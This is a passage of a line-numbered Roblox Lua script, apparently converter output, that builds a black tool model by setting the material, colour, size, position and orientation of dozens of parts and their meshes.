  1963. Part173.BottomSurface = Enum.SurfaceType.Smooth
  1964. Part173.TopSurface = Enum.SurfaceType.Smooth
  1965. Part173.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1966. Part173.Position = Vector3.new(6.48710108, 2.03489709, -94.6690674)
  1967. Part173.Orientation = Vector3.new(0, 0, -90)
  1968. Part173.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1969. BlockMesh174.Parent = Part173
  1970. BlockMesh174.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.218181789)
  1971. BlockMesh174.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.218181789)
  1972. Part175.Parent = Tool0
  1973. Part175.Material = Enum.Material.SmoothPlastic
  1974. Part175.BrickColor = BrickColor.new("Really black")
  1975. Part175.Reflectance = 0.20000000298023
  1976. Part175.Rotation = Vector3.new(-180, 0, -180)
  1977. Part175.Anchored = true
  1978. Part175.FormFactor = Enum.FormFactor.Symmetric
  1979. Part175.Size = Vector3.new(1, 1, 1)
  1980. Part175.CFrame = CFrame.new(6.41203594, 1.15661395, -95.1972504, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1981. Part175.BottomSurface = Enum.SurfaceType.Smooth
  1982. Part175.TopSurface = Enum.SurfaceType.Smooth
  1983. Part175.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1984. Part175.Position = Vector3.new(6.41203594, 1.15661395, -95.1972504)
  1985. Part175.Orientation = Vector3.new(0, 180, 0)
  1986. Part175.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1987. BlockMesh176.Parent = Part175
  1988. BlockMesh176.Scale = Vector3.new(0.0363636389, 0.0363636315, 0.0181818195)
  1989. BlockMesh176.Scale = Vector3.new(0.0363636389, 0.0363636315, 0.0181818195)
  1990. Part177.Parent = Tool0
  1991. Part177.Material = Enum.Material.SmoothPlastic
  1992. Part177.BrickColor = BrickColor.new("Really black")
  1993. Part177.Reflectance = 0.10000000149012
  1994. Part177.Rotation = Vector3.new(-180, 0, -180)
  1995. Part177.Anchored = true
  1996. Part177.FormFactor = Enum.FormFactor.Symmetric
  1997. Part177.Size = Vector3.new(1, 1, 1)
  1998. Part177.CFrame = CFrame.new(6.36362314, 1.88407099, -94.7917786, -1, 0, -1.31134158e-07, 0, 1, 0, 8.74227766e-08, 0, -1)
  1999. Part177.BottomSurface = Enum.SurfaceType.Smooth
  2000. Part177.TopSurface = Enum.SurfaceType.Smooth
  2001. Part177.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2002. Part177.Position = Vector3.new(6.36362314, 1.88407099, -94.7917786)
  2003. Part177.Orientation = Vector3.new(0, -180, 0)
  2004. Part177.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2005. SpecialMesh178.Parent = Part177
  2006. SpecialMesh178.Scale = Vector3.new(0.090909116, 0.0818181932, 0.427272588)
  2007. SpecialMesh178.MeshType = Enum.MeshType.Wedge
  2008. SpecialMesh178.Scale = Vector3.new(0.090909116, 0.0818181932, 0.427272588)
  2009. Part179.Parent = Tool0
  2010. Part179.Material = Enum.Material.SmoothPlastic
  2011. Part179.BrickColor = BrickColor.new("Really black")
  2012. Part179.Reflectance = 0.10000000149012
  2013. Part179.Rotation = Vector3.new(0, 0, -22.5)
  2014. Part179.Anchored = true
  2015. Part179.FormFactor = Enum.FormFactor.Symmetric
  2016. Part179.Size = Vector3.new(1, 1, 1)
  2017. Part179.CFrame = CFrame.new(6.4108758, 2.14883089, -94.6327057, 0.923879266, 0.382683069, -4.39653332e-14, -0.382683069, 0.923879266, -4.37115588e-08, -1.6727677e-08, 4.03843181e-08, 1)
  2018. Part179.BottomSurface = Enum.SurfaceType.Smooth
  2019. Part179.TopSurface = Enum.SurfaceType.Smooth
  2020. Part179.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2021. Part179.Position = Vector3.new(6.4108758, 2.14883089, -94.6327057)
  2022. Part179.Orientation = Vector3.new(0, 0, -22.5)
  2023. Part179.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2024. BlockMesh180.Parent = Part179
  2025. BlockMesh180.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.290908992)
  2026. BlockMesh180.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.290908992)
  2027. Part181.Parent = Tool0
  2028. Part181.Material = Enum.Material.SmoothPlastic
  2029. Part181.BrickColor = BrickColor.new("Really black")
  2030. Part181.Reflectance = 0.10000000149012
  2031. Part181.Rotation = Vector3.new(-90, -67.5, 180)
  2032. Part181.Anchored = true
  2033. Part181.FormFactor = Enum.FormFactor.Symmetric
  2034. Part181.Size = Vector3.new(1, 1, 1)
  2035. Part181.CFrame = CFrame.new(6.31637192, 1.92083097, -94.6281586, -0.382683009, -1.3400383e-08, -0.923879683, -0.923879683, -7.60634862e-08, 0.382682949, -7.54016156e-08, 1, 1.672786e-08)
  2036. Part181.BottomSurface = Enum.SurfaceType.Smooth
  2037. Part181.TopSurface = Enum.SurfaceType.Smooth
  2038. Part181.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2039. Part181.Position = Vector3.new(6.31637192, 1.92083097, -94.6281586)
  2040. Part181.Orientation = Vector3.new(-22.5, -90, -90)
  2041. Part181.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2042. SpecialMesh182.Parent = Part181
  2043. SpecialMesh182.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2044. SpecialMesh182.MeshType = Enum.MeshType.Wedge
  2045. SpecialMesh182.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2046. Part183.Parent = Tool0
  2047. Part183.Material = Enum.Material.SmoothPlastic
  2048. Part183.BrickColor = BrickColor.new("Really black")
  2049. Part183.Reflectance = 0.20000000298023
  2050. Part183.Rotation = Vector3.new(-180, 0, -180)
  2051. Part183.Anchored = true
  2052. Part183.FormFactor = Enum.FormFactor.Symmetric
  2053. Part183.Size = Vector3.new(1, 1, 1)
  2054. Part183.CFrame = CFrame.new(6.36203384, 1.22933996, -94.9517822, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  2055. Part183.BottomSurface = Enum.SurfaceType.Smooth
  2056. Part183.TopSurface = Enum.SurfaceType.Smooth
  2057. Part183.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2058. Part183.Position = Vector3.new(6.36203384, 1.22933996, -94.9517822)
  2059. Part183.Orientation = Vector3.new(0, 180, 0)
  2060. Part183.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2061. BlockMesh184.Parent = Part183
  2062. BlockMesh184.Scale = Vector3.new(0.136363626, 0.200000003, 0.0363636315)
  2063. BlockMesh184.Scale = Vector3.new(0.136363626, 0.200000003, 0.0363636315)
  2064. Part185.Parent = Tool0
  2065. Part185.Material = Enum.Material.SmoothPlastic
  2066. Part185.BrickColor = BrickColor.new("Really black")
  2067. Part185.Reflectance = 0.20000000298023
  2068. Part185.Rotation = Vector3.new(-180, 0, -180)
  2069. Part185.Anchored = true
  2070. Part185.FormFactor = Enum.FormFactor.Symmetric
  2071. Part185.Size = Vector3.new(1, 1, 1)
  2072. Part185.CFrame = CFrame.new(6.36203384, 1.26571, -94.7063293, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  2073. Part185.BottomSurface = Enum.SurfaceType.Smooth
  2074. Part185.TopSurface = Enum.SurfaceType.Smooth
  2075. Part185.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2076. Part185.Position = Vector3.new(6.36203384, 1.26571, -94.7063293)
  2077. Part185.Orientation = Vector3.new(0, 180, 0)
  2078. Part185.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2079. BlockMesh186.Parent = Part185
  2080. BlockMesh186.Scale = Vector3.new(0.227272674, 0.145454481, 0.4545452)
  2081. BlockMesh186.Scale = Vector3.new(0.227272674, 0.145454481, 0.4545452)
  2082. Part187.Parent = Tool0
  2083. Part187.Material = Enum.Material.SmoothPlastic
  2084. Part187.BrickColor = BrickColor.new("Really black")
  2085. Part187.Reflectance = 0.10000000149012
  2086. Part187.Rotation = Vector3.new(0, 0, 135)
  2087. Part187.Anchored = true
  2088. Part187.FormFactor = Enum.FormFactor.Symmetric
  2089. Part187.Size = Vector3.new(1, 1, 1)
  2090. Part187.CFrame = CFrame.new(6.27631378, 1.94766498, -94.6963348, -0.707107008, -0.707106352, 2.85473034e-13, 0.707106352, -0.707107008, -4.37113847e-08, 3.0908808e-08, -3.09084314e-08, 1)
  2091. Part187.BottomSurface = Enum.SurfaceType.Smooth
  2092. Part187.TopSurface = Enum.SurfaceType.Smooth
  2093. Part187.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2094. Part187.Position = Vector3.new(6.27631378, 1.94766498, -94.6963348)
  2095. Part187.Orientation = Vector3.new(0, 0, 135)
  2096. Part187.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2097. BlockMesh188.Parent = Part187
  2098. BlockMesh188.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.163636342)
  2099. BlockMesh188.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.163636342)
  2100. Part189.Parent = Tool0
  2101. Part189.Material = Enum.Material.SmoothPlastic
  2102. Part189.BrickColor = BrickColor.new("Really black")
  2103. Part189.Reflectance = 0.10000000149012
  2104. Part189.Rotation = Vector3.new(0, 0, 67.5)
  2105. Part189.Anchored = true
  2106. Part189.FormFactor = Enum.FormFactor.Symmetric
  2107. Part189.Size = Vector3.new(1, 1, 1)
  2108. Part189.CFrame = CFrame.new(6.24954987, 2.08214593, -94.655426, 0.382681578, -0.923875988, 3.73235432e-13, 0.923875988, 0.382681578, -4.37112888e-08, 4.03839202e-08, 1.67277658e-08, 1)
  2109. Part189.BottomSurface = Enum.SurfaceType.Smooth
  2110. Part189.TopSurface = Enum.SurfaceType.Smooth
  2111. Part189.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2112. Part189.Position = Vector3.new(6.24954987, 2.08214593, -94.655426)
  2113. Part189.Orientation = Vector3.new(0, 0, 67.5)
  2114. Part189.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2115. BlockMesh190.Parent = Part189
  2116. BlockMesh190.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.245454475)
  2117. BlockMesh190.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.245454475)
  2118. Part191.Parent = Tool0
  2119. Part191.Material = Enum.Material.SmoothPlastic
  2120. Part191.BrickColor = BrickColor.new("Really black")
  2121. Part191.Reflectance = 0.10000000149012
  2122. Part191.Rotation = Vector3.new(-90, 45, 180)
  2123. Part191.Anchored = true
  2124. Part191.FormFactor = Enum.FormFactor.Symmetric
  2125. Part191.Size = Vector3.new(1, 1, 1)
  2126. Part191.CFrame = CFrame.new(6.27631378, 2.12216091, -94.4963379, -0.707105935, -2.47611247e-08, 0.707105517, 0.707105637, -1.89500042e-08, 0.707106531, -4.10902956e-09, 0.99999851, 3.09084314e-08)
  2127. Part191.BottomSurface = Enum.SurfaceType.Smooth
  2128. Part191.TopSurface = Enum.SurfaceType.Smooth
  2129. Part191.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2130. Part191.Position = Vector3.new(6.27631378, 2.12216091, -94.4963379)
  2131. Part191.Orientation = Vector3.new(-45, 90, 90)
  2132. Part191.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2133. SpecialMesh192.Parent = Part191
  2134. SpecialMesh192.Scale = Vector3.new(0.0272727292, 0.0181818195, 0.0545454584)
  2135. SpecialMesh192.MeshType = Enum.MeshType.Wedge
  2136. SpecialMesh192.Scale = Vector3.new(0.0272727292, 0.0181818195, 0.0545454584)
  2137. Part193.Parent = Tool0
  2138. Part193.Material = Enum.Material.SmoothPlastic
  2139. Part193.BrickColor = BrickColor.new("Really black")
  2140. Part193.Reflectance = 0.10000000149012
  2141. Part193.Rotation = Vector3.new(-90, 0, 180)
  2142. Part193.Anchored = true
  2143. Part193.FormFactor = Enum.FormFactor.Symmetric
  2144. Part193.Size = Vector3.new(1, 1, 1)
  2145. Part193.CFrame = CFrame.new(6.24014997, 2.03489494, -94.5463409, -0.999998569, -3.50175746e-08, -2.5232751e-07, -5.96046164e-07, -4.37112995e-08, 0.999999046, -3.50175391e-08, 0.999998569, 4.37113137e-08)
  2146. Part193.BottomSurface = Enum.SurfaceType.Smooth
  2147. Part193.TopSurface = Enum.SurfaceType.Smooth
  2148. Part193.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2149. Part193.Position = Vector3.new(6.24014997, 2.03489494, -94.5463409)
  2150. Part193.Orientation = Vector3.new(-89.9199982, -80.1699982, -94.1899948)
  2151. Part193.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2152. SpecialMesh194.Parent = Part193
  2153. SpecialMesh194.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2154. SpecialMesh194.MeshType = Enum.MeshType.Wedge
  2155. SpecialMesh194.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2156. Part195.Parent = Tool0
  2157. Part195.Material = Enum.Material.SmoothPlastic
  2158. Part195.BrickColor = BrickColor.new("Really black")
  2159. Part195.Reflectance = 0.10000000149012
  2160. Part195.Anchored = true
  2161. Part195.FormFactor = Enum.FormFactor.Symmetric
  2162. Part195.Size = Vector3.new(1, 1, 1)
  2163. Part195.CFrame = CFrame.new(6.36658001, 1.23387599, -95.3017883, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2164. Part195.BottomSurface = Enum.SurfaceType.Smooth
  2165. Part195.TopSurface = Enum.SurfaceType.Smooth
  2166. Part195.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2167. Part195.Position = Vector3.new(6.36658001, 1.23387599, -95.3017883)
  2168. Part195.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2169. BlockMesh196.Parent = Part195
  2170. BlockMesh196.Scale = Vector3.new(0.181818187, 0.190909103, 0.145454556)
  2171. BlockMesh196.Scale = Vector3.new(0.181818187, 0.190909103, 0.145454556)
  2172. Part197.Parent = Tool0
  2173. Part197.Material = Enum.Material.SmoothPlastic
  2174. Part197.BrickColor = BrickColor.new("Really black")
  2175. Part197.Reflectance = 0.20000000298023
  2176. Part197.Rotation = Vector3.new(-180, 0, -180)
  2177. Part197.Anchored = true
  2178. Part197.FormFactor = Enum.FormFactor.Symmetric
  2179. Part197.Size = Vector3.new(1, 1, 1)
  2180. Part197.CFrame = CFrame.new(6.36203384, 1.670421, -94.9790497, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  2181. Part197.BottomSurface = Enum.SurfaceType.Smooth
  2182. Part197.TopSurface = Enum.SurfaceType.Smooth
  2183. Part197.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2184. Part197.Position = Vector3.new(6.36203384, 1.670421, -94.9790497)
  2185. Part197.Orientation = Vector3.new(0, 180, 0)
  2186. Part197.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2187. BlockMesh198.Parent = Part197
  2188. BlockMesh198.Scale = Vector3.new(0.0818181634, 0.263636321, 1.090909)
  2189. BlockMesh198.Scale = Vector3.new(0.0818181634, 0.263636321, 1.090909)
  2190. Part199.Parent = Tool0
  2191. Part199.Material = Enum.Material.SmoothPlastic
  2192. Part199.BrickColor = BrickColor.new("Really black")
  2193. Part199.Reflectance = 0.10000000149012
  2194. Part199.Rotation = Vector3.new(18, 0, 0)
  2195. Part199.Anchored = true
  2196. Part199.FormFactor = Enum.FormFactor.Symmetric
  2197. Part199.Size = Vector3.new(1, 1, 1)
  2198. Part199.CFrame = CFrame.new(6.36658001, 0.821552992, -95.3129044, 1, 0, 0, 0, 0.9510566, -0.309016734, 0, 0.309016734, 0.9510566)
  2199. Part199.BottomSurface = Enum.SurfaceType.Smooth
  2200. Part199.TopSurface = Enum.SurfaceType.Smooth
  2201. Part199.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2202. Part199.Position = Vector3.new(6.36658001, 0.821552992, -95.3129044)
  2203. Part199.Orientation = Vector3.new(18, 0, 0)
  2204. Part199.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2205. BlockMesh200.Parent = Part199
  2206. BlockMesh200.Scale = Vector3.new(0.181818202, 0.0363636315, 0.0363636315)
  2207. BlockMesh200.Scale = Vector3.new(0.181818202, 0.0363636315, 0.0363636315)
  2208. Part201.Parent = Tool0
  2209. Part201.Material = Enum.Material.SmoothPlastic
  2210. Part201.BrickColor = BrickColor.new("Really black")
  2211. Part201.Reflectance = 0.10000000149012
  2212. Part201.Rotation = Vector3.new(0, 0, -135)
  2213. Part201.Anchored = true
  2214. Part201.FormFactor = Enum.FormFactor.Symmetric
  2215. Part201.Size = Vector3.new(1, 1, 1)
  2216. Part201.CFrame = CFrame.new(6.45093107, 1.947667, -94.6963348, -0.70710665, 0.707106829, -2.12073371e-12, -0.707106829, -0.70710665, -4.37140422e-08, -3.09119805e-08, -3.09089963e-08, 1)
  2217. Part201.BottomSurface = Enum.SurfaceType.Smooth
  2218. Part201.TopSurface = Enum.SurfaceType.Smooth
  2219. Part201.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2220. Part201.Position = Vector3.new(6.45093107, 1.947667, -94.6963348)
  2221. Part201.Orientation = Vector3.new(0, 0, -135)
  2222. Part201.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2223. BlockMesh202.Parent = Part201
  2224. BlockMesh202.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.163636342)
  2225. BlockMesh202.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.163636342)
  2226. Part203.Parent = Tool0
  2227. Part203.Material = Enum.Material.SmoothPlastic
  2228. Part203.BrickColor = BrickColor.new("Really black")
  2229. Part203.Reflectance = 0.10000000149012
  2230. Part203.Rotation = Vector3.new(0, 0, -180)
  2231. Part203.Anchored = true
  2232. Part203.FormFactor = Enum.FormFactor.Symmetric
  2233. Part203.Size = Vector3.new(1, 1, 1)
  2234. Part203.CFrame = CFrame.new(6.36362314, 1.88407099, -94.8235931, -1, 5.36443679e-07, 2.84217094e-13, -5.36443679e-07, -1, -4.37113883e-08, 2.60768539e-13, -4.37113883e-08, 1)
  2235. Part203.BottomSurface = Enum.SurfaceType.Smooth
  2236. Part203.TopSurface = Enum.SurfaceType.Smooth
  2237. Part203.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2238. Part203.Position = Vector3.new(6.36362314, 1.88407099, -94.8235931)
  2239. Part203.Orientation = Vector3.new(0, 0, -180)
  2240. Part203.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2241. BlockMesh204.Parent = Part203
  2242. BlockMesh204.Scale = Vector3.new(0.0545454584, 0.0818181932, 0.363636166)
  2243. BlockMesh204.Scale = Vector3.new(0.0545454584, 0.0818181932, 0.363636166)
  2244. Part205.Parent = Tool0
  2245. Part205.Material = Enum.Material.SmoothPlastic
  2246. Part205.BrickColor = BrickColor.new("Really black")
  2247. Part205.Reflectance = 0.20000000298023
  2248. Part205.Rotation = Vector3.new(-180, 0, -180)
  2249. Part205.Anchored = true
  2250. Part205.FormFactor = Enum.FormFactor.Symmetric
  2251. Part205.Size = Vector3.new(1, 1, 1)
  2252. Part205.CFrame = CFrame.new(6.36203384, 1.23388195, -95.2017975, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  2253. Part205.BottomSurface = Enum.SurfaceType.Smooth
  2254. Part205.TopSurface = Enum.SurfaceType.Smooth
  2255. Part205.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2256. Part205.Position = Vector3.new(6.36203384, 1.23388195, -95.2017975)
  2257. Part205.Orientation = Vector3.new(0, 180, 0)
  2258. Part205.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2259. BlockMesh206.Parent = Part205
  2260. BlockMesh206.Scale = Vector3.new(0.136363626, 0.190909088, 0.06363637)
  2261. BlockMesh206.Scale = Vector3.new(0.136363626, 0.190909088, 0.06363637)
  2262. Part207.Parent = Tool0
  2263. Part207.Material = Enum.Material.SmoothPlastic
  2264. Part207.BrickColor = BrickColor.new("Really black")
  2265. Part207.Reflectance = 0.10000000149012
  2266. Part207.Anchored = true
  2267. Part207.FormFactor = Enum.FormFactor.Symmetric
  2268. Part207.Size = Vector3.new(1, 1, 1)
  2269. Part207.CFrame = CFrame.new(6.36362314, 1.81579399, -94.7872314, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2270. Part207.BottomSurface = Enum.SurfaceType.Smooth
  2271. Part207.TopSurface = Enum.SurfaceType.Smooth
  2272. Part207.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2273. Part207.Position = Vector3.new(6.36362314, 1.81579399, -94.7872314)
  2274. Part207.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2275. BlockMesh208.Parent = Part207
  2276. BlockMesh208.Scale = Vector3.new(0.145454541, 0.0545454472, 0.418181747)
  2277. BlockMesh208.Scale = Vector3.new(0.145454541, 0.0545454472, 0.418181747)
  2278. Part209.Parent = Tool0
  2279. Part209.Material = Enum.Material.SmoothPlastic
  2280. Part209.BrickColor = BrickColor.new("Really black")
  2281. Part209.Reflectance = 0.20000000298023
  2282. Part209.Rotation = Vector3.new(0, -90, 0)
  2283. Part209.Anchored = true
  2284. Part209.FormFactor = Enum.FormFactor.Symmetric
  2285. Part209.Size = Vector3.new(1, 1, 1)
  2286. Part209.CFrame = CFrame.new(6.42566919, 1.67041695, -94.9790497, 4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, 4.37113883e-08)
  2287. Part209.BottomSurface = Enum.SurfaceType.Smooth
  2288. Part209.TopSurface = Enum.SurfaceType.Smooth
  2289. Part209.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2290. Part209.Position = Vector3.new(6.42566919, 1.67041695, -94.9790497)
  2291. Part209.Orientation = Vector3.new(0, -90, 0)
  2292. Part209.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2293. SpecialMesh210.Parent = Part209
  2294. SpecialMesh210.Scale = Vector3.new(1.0909096, 0.263636351, 0.0454545207)
  2295. SpecialMesh210.MeshType = Enum.MeshType.Wedge
  2296. SpecialMesh210.Scale = Vector3.new(1.0909096, 0.263636351, 0.0454545207)
  2297. Part211.Parent = Tool0
  2298. Part211.Material = Enum.Material.SmoothPlastic
  2299. Part211.BrickColor = BrickColor.new("Really black")
  2300. Part211.Reflectance = 0.20000000298023
  2301. Part211.Rotation = Vector3.new(-180, 0, 0)
  2302. Part211.Anchored = true
  2303. Part211.FormFactor = Enum.FormFactor.Symmetric
  2304. Part211.Size = Vector3.new(1, 1, 1)
  2305. Part211.CFrame = CFrame.new(6.36032009, 1.91101599, -94.9986115, 1, 0, -4.37113883e-08, 0, -1, 0, -4.37113883e-08, 0, -1)
  2306. Part211.BottomSurface = Enum.SurfaceType.Smooth
  2307. Part211.TopSurface = Enum.SurfaceType.Smooth
  2308. Part211.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2309. Part211.Position = Vector3.new(6.36032009, 1.91101599, -94.9986115)
  2310. Part211.Orientation = Vector3.new(0, -180, 180)
  2311. Part211.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2312. CylinderMesh212.Parent = Part211
  2313. CylinderMesh212.Scale = Vector3.new(0.100000001, 0.0545454472, 0.109090917)
  2314. CylinderMesh212.Scale = Vector3.new(0.100000001, 0.0545454472, 0.109090917)
  2315. Part213.Parent = Tool0
  2316. Part213.Material = Enum.Material.SmoothPlastic
  2317. Part213.BrickColor = BrickColor.new("Really black")
  2318. Part213.Reflectance = 0.10000000149012
  2319. Part213.Rotation = Vector3.new(-90, -45, 180)
  2320. Part213.Anchored = true
  2321. Part213.FormFactor = Enum.FormFactor.Symmetric
  2322. Part213.Size = Vector3.new(1, 1, 1)
  2323. Part213.CFrame = CFrame.new(6.27631378, 1.94766498, -94.6008682, -0.707104325, -2.4761059e-08, -0.707105041, -0.707105577, -6.84724881e-08, 0.707104385, -6.59260593e-08, 0.99999541, 3.09087156e-08)
  2324. Part213.BottomSurface = Enum.SurfaceType.Smooth
  2325. Part213.TopSurface = Enum.SurfaceType.Smooth
  2326. Part213.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2327. Part213.Position = Vector3.new(6.27631378, 1.94766498, -94.6008682)
  2328. Part213.Orientation = Vector3.new(-45, -90, -90)
  2329. Part213.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2330. SpecialMesh214.Parent = Part213
  2331. SpecialMesh214.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2332. SpecialMesh214.MeshType = Enum.MeshType.Wedge
  2333. SpecialMesh214.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2334. Part215.Parent = Tool0
  2335. Part215.Material = Enum.Material.SmoothPlastic
  2336. Part215.BrickColor = BrickColor.new("Dark stone grey")
  2337. Part215.Reflectance = 0.20000000298023
  2338. Part215.Rotation = Vector3.new(0, 90, 0)
  2339. Part215.Anchored = true
  2340. Part215.FormFactor = Enum.FormFactor.Symmetric
  2341. Part215.Size = Vector3.new(1, 1, 1)
  2342. Part215.CFrame = CFrame.new(6.36091185, 1.36073101, -94.7048798, 0, 0, 1, 0, 1, 0, -1, 0, -4.37113883e-08)
  2343. Part215.BottomSurface = Enum.SurfaceType.Smooth
  2344. Part215.TopSurface = Enum.SurfaceType.Smooth
  2345. Part215.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2346. Part215.Position = Vector3.new(6.36091185, 1.36073101, -94.7048798)
  2347. Part215.Orientation = Vector3.new(0, 90, 0)
  2348. Part215.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2349. BlockMesh216.Parent = Part215
  2350. BlockMesh216.Scale = Vector3.new(0.409090787, 0.409090877, 0.190909088)
  2351. BlockMesh216.Scale = Vector3.new(0.409090787, 0.409090877, 0.190909088)
  2352. Part217.Parent = Tool0
  2353. Part217.Material = Enum.Material.SmoothPlastic
  2354. Part217.BrickColor = BrickColor.new("Really black")
  2355. Part217.Reflectance = 0.10000000149012
  2356. Part217.Rotation = Vector3.new(-90, -22.5, 180)
  2357. Part217.Anchored = true
  2358. Part217.FormFactor = Enum.FormFactor.Symmetric
  2359. Part217.Size = Vector3.new(1, 1, 1)
  2360. Part217.CFrame = CFrame.new(6.24954987, 1.987602, -94.5736084, -0.923878074, -3.23519984e-08, -0.382683277, -0.382683754, -5.71120324e-08, 0.923878312, -5.1745161e-08, 0.999998569, 4.0384073e-08)
  2361. Part217.BottomSurface = Enum.SurfaceType.Smooth
  2362. Part217.TopSurface = Enum.SurfaceType.Smooth
  2363. Part217.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2364. Part217.Position = Vector3.new(6.24954987, 1.987602, -94.5736084)
  2365. Part217.Orientation = Vector3.new(-67.5, -90, -90)
  2366. Part217.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2367. SpecialMesh218.Parent = Part217
  2368. SpecialMesh218.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2369. SpecialMesh218.MeshType = Enum.MeshType.Wedge
  2370. SpecialMesh218.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2371. Part219.Parent = Tool0
  2372. Part219.Material = Enum.Material.SmoothPlastic
  2373. Part219.BrickColor = BrickColor.new("Really black")
  2374. Part219.Reflectance = 0.20000000298023
  2375. Part219.Rotation = Vector3.new(-180, 0, -180)
  2376. Part219.Anchored = true
  2377. Part219.FormFactor = Enum.FormFactor.Symmetric
  2378. Part219.Size = Vector3.new(1, 1, 1)
  2379. Part219.CFrame = CFrame.new(6.36203384, 1.43401599, -94.9313202, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  2380. Part219.BottomSurface = Enum.SurfaceType.Smooth
  2381. Part219.TopSurface = Enum.SurfaceType.Smooth
  2382. Part219.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2383. Part219.Position = Vector3.new(6.36203384, 1.43401599, -94.9313202)
  2384. Part219.Orientation = Vector3.new(0, 180, 0)
  2385. Part219.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2386. BlockMesh220.Parent = Part219
  2387. BlockMesh220.Scale = Vector3.new(0.172727272, 0.209090918, 0.886364639)
  2388. BlockMesh220.Scale = Vector3.new(0.172727272, 0.209090918, 0.886364639)
  2389. Part221.Parent = Tool0
  2390. Part221.Material = Enum.Material.SmoothPlastic
  2391. Part221.BrickColor = BrickColor.new("Really black")
  2392. Part221.Reflectance = 0.20000000298023
  2393. Part221.Rotation = Vector3.new(-180, 0, -166.5)
  2394. Part221.Anchored = true
  2395. Part221.FormFactor = Enum.FormFactor.Symmetric
  2396. Part221.Size = Vector3.new(1, 1, 1)
  2397. Part221.CFrame = CFrame.new(6.29030609, 1.65475297, -94.9835968, -0.972369671, 0.233445346, 0, 0.233445346, 0.972369671, 0, 0, 0, -1)
  2398. Part221.BottomSurface = Enum.SurfaceType.Smooth
  2399. Part221.TopSurface = Enum.SurfaceType.Smooth
  2400. Part221.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2401. Part221.Position = Vector3.new(6.29030609, 1.65475297, -94.9835968)
  2402. Part221.Orientation = Vector3.new(0, 180, 13.5)
  2403. Part221.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2404. BlockMesh222.Parent = Part221
  2405. BlockMesh222.Scale = Vector3.new(0.0272727292, 0.100000024, 0.0636360794)
  2406. BlockMesh222.Scale = Vector3.new(0.0272727292, 0.100000024, 0.0636360794)
  2407. Part223.Parent = Tool0
  2408. Part223.Material = Enum.Material.SmoothPlastic
  2409. Part223.BrickColor = BrickColor.new("Really black")
